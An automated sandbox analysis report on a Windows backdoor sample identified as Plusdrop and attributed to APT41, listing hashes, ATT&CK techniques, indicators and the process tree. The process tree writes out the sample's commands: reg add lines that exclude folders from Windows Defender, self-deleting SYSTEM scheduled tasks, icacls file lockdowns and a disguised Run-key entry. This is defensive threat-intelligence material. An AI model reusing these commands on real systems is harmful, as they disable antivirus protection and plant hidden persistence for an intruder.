plusdrop | 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7

Analysis

max time kernel
149s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/04/2026, 11:27

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General

Target
V9se0A/37RXs3.exe
Size 135KB
Sample260429-nktcssaz7t
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

apt41 apt backdoor defense_evasion discovery execution plusdrop persistence trojan

Malware Config

Signatures

Family: Plusdrop, toughprogress
Plusdrop is a backdoor used by APT41 in Toughprogress campaign that abuses Google Calendar events as its C2.
backdoor plusdrop

Detects Plusdrop Payload 1 IoCs

backdoor apt apt41

resource	yara_rule
behavioral1/memory/4732-23-0x0000023EE76E0000-0x0000023EE7740000-memory.dmp	family_Plusdrop_payload

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\V9se0A = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5900	icacls.exe
1408	icacls.exe
5176	icacls.exe
5128	icacls.exe
5348	icacls.exe
5196	icacls.exe
1848	icacls.exe
5688	icacls.exe
644	icacls.exe
4028	icacls.exe
5672	icacls.exe
2460	icacls.exe
2468	icacls.exe
5220	icacls.exe
708	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\V9se0A\\37RXs3.exe\""	37RXs3.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3216	cmd.exe
4560	cmd.exe
4316	cmd.exe
4616	cmd.exe
4608	cmd.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Control Panel\International\Geo\Nation	37RXs3.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	37RXs3.exe

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\xEgYHB\image.png	37RXs3.exe
File opened for modification	C:\Program Files (x86)\xEgYHB	37RXs3.exe
File created	C:\Program Files (x86)\xEgYHB\xEgYHB.exe	37RXs3.exe
File created	C:\Program Files (x86)\xEgYHB\XPSPLOG.dll	37RXs3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5264	schtasks.exe
2112	schtasks.exe
2152	schtasks.exe
3500	schtasks.exe
952	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
3392	37RXs3.exe
3392	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
3392	37RXs3.exe
3392	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe
3392	37RXs3.exe
3392	37RXs3.exe
4732	37RXs3.exe
4732	37RXs3.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4732	37RXs3.exe

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 4732 wrote to memory of 4820	4732	37RXs3.exe	84
PID 4732 wrote to memory of 1012	4732	37RXs3.exe	15
PID 4732 wrote to memory of 1012	4732	37RXs3.exe	15
PID 4820 wrote to memory of 1408	4820	cmd.exe	86
PID 4732 wrote to memory of 1472	4732	37RXs3.exe	87
PID 1472 wrote to memory of 4028	1472	cmd.exe	89
PID 4732 wrote to memory of 3844	4732	37RXs3.exe	90
PID 3844 wrote to memory of 1848	3844	cmd.exe	92
PID 4732 wrote to memory of 3484	4732	37RXs3.exe	94
PID 4732 wrote to memory of 3216	4732	37RXs3.exe	96
PID 3484 wrote to memory of 5176	3484	cmd.exe	98
PID 4732 wrote to memory of 1268	4732	37RXs3.exe	21
PID 4732 wrote to memory of 1268	4732	37RXs3.exe	21
PID 3216 wrote to memory of 3500	3216	cmd.exe	100
PID 4732 wrote to memory of 4560	4732	37RXs3.exe	101
PID 4732 wrote to memory of 3692	4732	37RXs3.exe	103
PID 4732 wrote to memory of 1376	4732	37RXs3.exe	23
PID 4732 wrote to memory of 1376	4732	37RXs3.exe	23
PID 4732 wrote to memory of 4316	4732	37RXs3.exe	107
PID 3216 wrote to memory of 6108	3216	cmd.exe	109
PID 4732 wrote to memory of 1516	4732	37RXs3.exe	27
PID 4732 wrote to memory of 1516	4732	37RXs3.exe	27
PID 3692 wrote to memory of 5128	3692	cmd.exe	111
PID 4560 wrote to memory of 952	4560	cmd.exe	112
PID 3216 wrote to memory of 1592	3216	cmd.exe	113
PID 4316 wrote to memory of 5264	4316	cmd.exe	114
PID 4732 wrote to memory of 6000	4732	37RXs3.exe	116
PID 4732 wrote to memory of 4616	4732	37RXs3.exe	118
PID 4560 wrote to memory of 5856	4560	cmd.exe	120
PID 4316 wrote to memory of 5640	4316	cmd.exe	121
PID 6000 wrote to memory of 5688	6000	cmd.exe	122
PID 4316 wrote to memory of 6124	4316	cmd.exe	125
PID 4560 wrote to memory of 4216	4560	cmd.exe	126
PID 4616 wrote to memory of 2112	4616	cmd.exe	127
PID 4732 wrote to memory of 3276	4732	37RXs3.exe	128
PID 4616 wrote to memory of 2480	4616	cmd.exe	130
PID 3276 wrote to memory of 5672	3276	cmd.exe	131
PID 4616 wrote to memory of 5020	4616	cmd.exe	132
PID 4732 wrote to memory of 2724	4732	37RXs3.exe	133
PID 2724 wrote to memory of 2460	2724	cmd.exe	135
PID 4732 wrote to memory of 4608	4732	37RXs3.exe	136
PID 4732 wrote to memory of 3644	4732	37RXs3.exe	139
PID 3644 wrote to memory of 2468	3644	cmd.exe	141
PID 4608 wrote to memory of 2152	4608	cmd.exe	142
PID 4732 wrote to memory of 5296	4732	37RXs3.exe	143
PID 4608 wrote to memory of 2720	4608	cmd.exe	145
PID 5296 wrote to memory of 5900	5296	cmd.exe	147
PID 4608 wrote to memory of 1104	4608	cmd.exe	148
PID 4732 wrote to memory of 2348	4732	37RXs3.exe	149
PID 2348 wrote to memory of 5220	2348	cmd.exe	151
PID 4732 wrote to memory of 2076	4732	37RXs3.exe	152
PID 2076 wrote to memory of 708	2076	cmd.exe	154
PID 4732 wrote to memory of 4292	4732	37RXs3.exe	156
PID 4292 wrote to memory of 5348	4292	cmd.exe	158
PID 2172 wrote to memory of 2248	2172	cmd.exe	161
PID 4732 wrote to memory of 5808	4732	37RXs3.exe	162
PID 5808 wrote to memory of 644	5808	cmd.exe	164
PID 3068 wrote to memory of 5732	3068	cmd.exe	165
PID 4732 wrote to memory of 6016	4732	37RXs3.exe	166
PID 6016 wrote to memory of 5196	6016	cmd.exe	168
PID 2496 wrote to memory of 1952	2496	cmd.exe	169

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1268
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\V9se0A" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2172
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\V9se0A" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2248
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3068
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:5732
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2496
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1516

C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe
"C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe"
1⤵
- Adds Run key to start application
- Checks computer location settings
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4732
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A" /inheritance:r
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4820
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A" /inheritance:r
    3⤵
    - Modifies file permissions
    PID:1408
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1472
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Modifies file permissions
    PID:4028
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3844
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Modifies file permissions
    PID:1848
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe" /inheritance:r
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3484
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe" /inheritance:r
    3⤵
    - Modifies file permissions
    PID:5176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Local\Temp\V9se0A\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3216
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Local\Temp\V9se0A\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3500
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:6108
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:952
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5856
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4216
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3692
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Modifies file permissions
    PID:5128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4316
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5264
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5640
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe" /grant:r Users:(RX) /deny Users:(DE)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6000
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Modifies file permissions
    PID:5688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4616
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2112
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2480
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5020
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\adoresd.dat" /inheritance:r
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3276
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\adoresd.dat" /inheritance:r
    3⤵
    - Modifies file permissions
    PID:5672
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\adoresd.dat" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\adoresd.dat" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Modifies file permissions
    PID:2460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4608
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2152
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2720
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1104
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\adoresd.dat" /grant:r Users:(RX) /deny Users:(DE)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3644
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\adoresd.dat" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Modifies file permissions
    PID:2468
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\msadox.tb" /inheritance:r
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5296
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\msadox.tb" /inheritance:r
    3⤵
    - Modifies file permissions
    PID:5900
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\msadox.tb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2348
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\msadox.tb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Modifies file permissions
    PID:5220
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\msadox.tb" /grant:r Users:(RX) /deny Users:(DE)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\msadox.tb" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Modifies file permissions
    PID:708
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\UxEnhance64.dll" /inheritance:r
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4292
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\UxEnhance64.dll" /inheritance:r
    3⤵
    - Modifies file permissions
    PID:5348
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\UxEnhance64.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5808
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\UxEnhance64.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Modifies file permissions
    PID:644
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\UxEnhance64.dll" /grant:r Users:(RX) /deny Users:(DE)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6016
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\Temp\V9se0A\UxEnhance64.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Modifies file permissions
    PID:5196

C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe
"C:\Users\Admin\AppData\Local\Temp\V9se0A\37RXs3.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:3392

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5016

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1012-32-0x00000279B4C70000-0x00000279B4CC1000-memory.dmp

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memory/1012-55-0x00000279B4C70000-0x00000279B4CC1000-memory.dmp

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memory/3392-44-0x0000019AD5DF0000-0x0000019AD668F000-memory.dmp

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memory/3392-46-0x0000019AD5DF0000-0x0000019AD668F000-memory.dmp

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memory/3392-47-0x0000019AD5DF0000-0x0000019AD668F000-memory.dmp

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memory/3392-48-0x00007FFA2A090000-0x00007FFA2A092000-memory.dmp

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memory/3392-45-0x0000019AD5DF0000-0x0000019AD668F000-memory.dmp

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memory/3392-39-0x00007FFA2A0A0000-0x00007FFA2A0A2000-memory.dmp

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memory/3392-40-0x0000019AD5DF0000-0x0000019AD668F000-memory.dmp

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memory/3392-37-0x0000019AD5DF0000-0x0000019AD668F000-memory.dmp

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memory/3392-34-0x00007FFA19F80000-0x00007FFA1A497000-memory.dmp

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memory/4732-26-0x0000023EE77F0000-0x0000023EE7896000-memory.dmp

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memory/4732-10-0x0000023EE8250000-0x0000023EE8AEF000-memory.dmp

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memory/4732-25-0x0000023EE77F0000-0x0000023EE7896000-memory.dmp

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memory/4732-24-0x0000023EE77F0000-0x0000023EE7896000-memory.dmp

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memory/4732-23-0x0000023EE76E0000-0x0000023EE7740000-memory.dmp

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memory/4732-16-0x0000023EE8250000-0x0000023EE8AEF000-memory.dmp

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memory/4732-17-0x0000023EE8250000-0x0000023EE8AEF000-memory.dmp

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memory/4732-15-0x0000023EE8250000-0x0000023EE8AEF000-memory.dmp

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memory/4732-27-0x0000023EE77F0000-0x0000023EE7896000-memory.dmp

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memory/4732-0-0x00007FFA19FA1000-0x00007FFA1A17F000-memory.dmp

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memory/4732-18-0x0000023EE8250000-0x0000023EE8AEF000-memory.dmp

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memory/4732-14-0x0000023EE8250000-0x0000023EE8AEF000-memory.dmp

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memory/4732-9-0x00007FFA2A0A0000-0x00007FFA2A0A2000-memory.dmp

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memory/4732-31-0x0000023EE8250000-0x0000023EE8AEF000-memory.dmp

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memory/4732-6-0x0000023EE8250000-0x0000023EE8AEF000-memory.dmp

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memory/4732-49-0x00007FFA19FA1000-0x00007FFA1A17F000-memory.dmp

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memory/4732-5-0x00007FFA19F80000-0x00007FFA1A497000-memory.dmp

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memory/4732-1-0x00007FFA2A090000-0x00007FFA2A092000-memory.dmp

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memory/4732-50-0x0000023EE8250000-0x0000023EE8AEF000-memory.dmp

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memory/4732-53-0x0000023EE8250000-0x0000023EE8AEF000-memory.dmp

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memory/4732-54-0x0000023EE8FF0000-0x0000023EE8FFC000-memory.dmp

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memory/4732-2-0x00007FFA19F80000-0x00007FFA1A497000-memory.dmp

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memory/4732-74-0x0000023EE8250000-0x0000023EE8AEF000-memory.dmp

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memory/4732-77-0x0000023EE8FF0000-0x0000023EE8FFC000-memory.dmp

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memory/4732-78-0x00007FFA19FA1000-0x00007FFA1A17F000-memory.dmp

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memory/4732-79-0x00007FFA19F80000-0x00007FFA1A497000-memory.dmp

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